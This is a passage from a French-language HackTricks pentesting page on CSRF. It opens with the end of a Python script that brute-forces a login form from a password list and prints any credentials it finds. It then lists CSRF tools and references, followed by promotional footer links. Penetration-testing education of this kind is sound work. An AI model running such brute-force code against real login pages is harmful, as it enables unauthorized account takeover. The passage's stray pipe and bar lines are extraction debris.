if "Username or password incorrect" in r.text:
|
||
return False
|
||
else:
|
||
print(f"FOUND {user} : {password}")
|
||
return True
|
||
|
||
with open(PASS_LIST, "r") as f:
|
||
for line in f:
|
||
login(USER, line.strip())
|
||
```
|
||
## Outils <a href="#tools" id="tools"></a>
|
||
|
||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||
|
||
## Références
|
||
|
||
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||
|
||
|
||
|
||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
|
||
|
||
🐞 Lisez les tutoriels sur les bugs web3
|
||
|
||
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
|
||
|
||
💬 Participez aux discussions de la communauté
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|